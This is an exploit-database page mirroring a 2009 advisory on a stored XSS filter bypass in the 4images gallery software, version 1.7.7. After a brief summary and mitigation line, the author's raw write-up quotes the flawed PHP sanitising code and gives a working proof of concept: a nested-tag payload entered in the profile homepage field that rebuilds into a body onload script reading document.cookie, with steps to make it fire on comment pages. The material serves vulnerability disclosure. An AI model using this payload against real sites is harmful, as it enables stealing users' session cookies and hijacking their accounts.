4images - exploit.company

vendor:

4images

by:

Qabandi

7,5

CVSS

HIGH

HTML injection/XSS

CWE

Product Name: 4images

Affected Version From: 1.7.7

Affected Version To: 1.7.7

Patch Exists: YES

Related CWE: N/A

CPE: a:4homepages:4images

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: FireFox

2009

4images <= 1.7.7 - filter bypass HTML injection/XSS

4images is vulnerable to HTML injection/XSS due to a filter bypass vulnerability. The vulnerability exists due to the fact that the user_homepage field is not properly sanitized when it is updated. An attacker can inject malicious JavaScript code into the user_homepage field which will be executed when the comments are viewed.

Mitigation:

Ensure that user input is properly sanitized and validated before being used.

Source

Exploit-DB raw data:

                  ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
          (  :  /    (_)    /           (      .


=By: 	Qabandi
=Email:	iqa[a]hotmail.fr

	From Kuwait, PEACE...

=Vuln:		4images <= 1.7.7 - filter bypass HTML injection/XSS
=INFO:		~~~
=BUY:  		~~~
=DORK:  	~~~

                             _-=/:Conditions:\=-_
---------------------------------------------------------------------------------
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off

Comments allowed[+]
Registration[+]

Works on default 4images comments settings. 

XSS used works with latest FireFox browser, you can use your own code.
--------------------------------------=_=---------------------------------------

                            _-=/:Vulnerable_Code:\=-_
---------------------------------------------------------------------------------
in "./4images/details.php" we see::--//First-Mistake//--

380::        $comment_user_homepage = (isset($comment_row[$i][$user_table_fields['user_homepage']])) ? format_url($comment_row[$i][$user_table_fields['user_homepage']]) : "";
381::        if (!empty($comment_user_homepage)) {

//as you can see, it just grabs whatever is in the SQL database and adds it, puts it thru format_url()
//which is nothing and relies on the filter when creating or editing USER_HOMEPAGE
//lets take a look what happends when updating user_homepage

in "./4images/member.php":://this what happends when UPDATING user_homepage thru the profile page

1053::        $user_homepage = (isset($HTTP_POST_VARS['user_homepage'])) ? format_url(un_htmlspecialchars(trim($HTTP_POST_VARS['user_homepage']))) : "";

//user_homepage goes thru THREE functions, lets see what they do..
//format_url();

function format_url($url) {
  if (empty($url)) {
    return '';
  }

  if (!preg_match("/^https?:\/\//i", $url)) {
    $url = "http://".$url;
  }

  return $url;
}
///ok cool makes sure the URL is cool

//trim() <-- built in PHP function

//un_htmlspecialchars();

function un_htmlspecialchars($text) {
  $text = str_replace(
    array('&lt;', '&gt;', '&quot;', '&amp;'),
    array('<',    '>',    '"',      '&'),
    $text
  );

  return $text;
}

//interesting but im afraid this is another mistake Q_Q

//anyway, point is the XSS filter in GLOBAL.PHP can be bypassed
// Lets take a small look at what the script does with all vars

in "./4images/global.php"::

181::  // Remove really unwanted tags
182::  do {
183::    $oldstring = $string;
184::    $string = preg_replace('#</*(applet|meta|xml|blink|link|style|script|embed|object|iframe|frame|frameset|ilayer|layer|bgsound|title|base)[^>]*>#i',"",$string);
185::  } while ($oldstring != $string);
186::
187::  return $string;
188:: }

//Can be bypassed..
// since it looks for <script> and replaces it with nothing, we can use the old <scr<script>ipt> method
// but a bit more advanced.
---------------------------------------=_=--------------------------------------

                                 _-=/:P.o.C:\=-_
---------------------------------------------------------------------------------

all we need is a user account, so register then go to your edit profile:
( ./4images/member.php?action=editprofile )

at the HOMEPAGE input box, type the following:

http://www.dummy.com/"><script>alert('qabandi')</script>

The script will convert it to : 

http://www.dummy.com/">alert('qabandi')

now type this :)

http://"><body<script> <script>on<script>loa<script>d="javascript:alert(document.cookie);qabandi" />

Result after SAVE:

http://"><body onload="javascript:alert(document.cookie);qabandi" />

BAAM!

go to any picture like ( ./4images/details.php?image_id=1 )

post a comment, refresh, and javascript will be executed.

you pretty much can bypass any of the wordlist provided in global.php

you can inject HTML code pretty much

now this is good because this shows that you can bypass their filter, what else can you do other than xss i wonder?

---------------------------------------=_=--------------------------------------

                                _-=/:SOLUTION:\=-_
---------------------------------------------------------------------------------
Im sure the 4images team wont take advice from a 19 year old :)
---------------------------------------=_=--------------------------------------

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-
-=-=-=-==-=-=-=-=tkfoon=-la=-tis2aloony=-shlon=-=el-=-ta6beeq!=-=-=-==-=-=-=-=-=
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-
-==-=-=-=-==-=-==-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=---=-==-=-==-=-=-=-=-=-=--
=-=-=-=-==-=-=--=-=-=-=-=-=-=-No----More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=--=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-
Salamz to All Muslim Hackers.

# milw0rm.com [2009-06-12]